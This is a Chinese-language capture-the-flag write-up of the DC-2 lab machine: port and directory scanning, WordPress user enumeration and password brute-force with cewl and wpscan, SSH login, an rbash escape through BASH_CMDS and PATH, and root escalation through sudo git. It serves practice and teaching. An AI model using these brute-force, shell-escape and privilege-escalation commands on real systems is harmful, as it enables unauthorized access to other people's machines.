DC-2

发布于 2022-04-09  235 次阅读


信息收集

扫描目标主机的IP地址

image-20220409112140740

扫描开放端口

image-20220409112319532

发现开放了80和7744端口,80对应http服务,7744对应ssh服务

目录扫描

python3 dirsearch.py -u http://192.168.226.135 -e*

扫描脚本请到脚本页面下载

image-20220409114921149

渗透

浏览器访问发现,无法直接访问,F12查看网络请求发现301永久重定向

image-20220409112842743

编辑本机hosts文件

sudo vim /etc/hosts

添加一条

image-20220409112952324

再次访问即可正常显示

image-20220409113141295

在页面中找到flag1

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

提示我们使用cwel来生成密码字典

u 枚举用户名,默认从1-10

u[10-20] 枚举用户名,配置从10-20

p 枚举插件

vp 只枚举有漏洞的插件

ap 枚举所有插件,时间较长

tt 列举缩略图相关的文件

t 枚举主题信息

vt 只枚举存在漏洞的主题

at 枚举所有主题,时间较长

可以指定多个扫描选项,例:"-e tt,p"

如果没有指定选项,默认选项为:"vt,tt,u,vp"

--exclude-content-based "<regexp or string>"

当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹

--config-file | -c <config file使用指定的配置文件

--user-agent | -a <User-Agent指定User-Agent

--cookie <String指定cookie

--random-agent | -r 使用随机User-Agent

--follow-redirection 如果目标包含一个重定向,则直接跟随跳转

--batch 无需用户交互,都使用默认行为

--no-color 不要采用彩色输出

--wp-content-dir <wp content dirWPScan会去发现wp-content目录,用户可手动指定

--wp-plugins-dir <wp plugins dir指定wp插件目录,默认是wp-content/plugins

--proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议

--proxy-auth <username:password设置代理登陆信息

--basic-auth <username:password设置基础认证信息

--wordlist | -w <wordlist指定密码字典

--username | -U <username指定爆破的用户名

--usernames <path-to-file指定爆破用户名字典

--threads | -t <number of threads指定多线程

--cache-ttl <cache-ttl设置 cache TTL

--request-timeout <request-timeout请求超时时间

--connect-timeout <connect-timeout连接超时时间

--max-threads <max-threads最大线程数

--throttle <milliseconds当线程数设置为1时,设置两个请求之间的间隔

--help | -h 输出帮助信息

--verbose | -v 输出Verbose

--version 输出当前版本
cewl dc-2 > pwd.txt

image-20220409113513004

因为是wordpress,所以采用wpscan扫描一下存在的漏洞

wpscan --url http://dc-2

image-20220409155512759

扫描后未能发现漏洞

扫描用户名账号

wpscan --url dc-2  -e u

image-20220409155723198

发现三个账号:admin、jerry、tom,将其放到user.txt

爆破

wpscan --url http://dc-2/ -U user.txt -P pwd.txt

image-20220409160516844

探测到jerry和tom的密码

登录后台,wordpress默认后台路径是:/wp-login.php,访问后台登录界面,使用jerry用户登录(使用tom登录没有什么有用的信息),发现flag2

image-20220409161033592

根据提示寻找其他突破点,想到之前扫描出来的ssh服务端口7744

尝试连接ssh

对两个账号进行尝试发现tom用户可以登陆,但是无法使用cat或vim查看flag3

image-20220409161610862

image-20220409161707031

绕过rbash

绕过方法详见:https://blog.csdn.net/qq_43168364/article/details/111830233

echo $0  #查看脚本名称
rbash

查看环境变量,发现只有四个命令可以使用,进行绕过

BASH_CMDS[a]=/bin/sh;a #利用bash_cmds自定义一个shell
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

查看到flag3的内容

image-20220409164543381

根据提示进行如下操作,得到flag4

image-20220409164648681

提示为git,应该是使用git提权

git提权

使用su jerry切换为jerry用户,密码为之前获取的密码,发现jerry可以以root用户的身份执行git命令而且还不需要密码

image-20220409165058317

方法1:
sudo git -p help #强制进入交互状态
!/bin/bash #打开一个用户为root的shell

方法2:
sudo git help config #在末行命令模式输入
!/bin/bash 或者 !'sh' #打开一个用户为root的shell

image-20220409165858070

得到最终flag

image-20220409165957641

Daniel_WRF
最后更新于 2022-04-09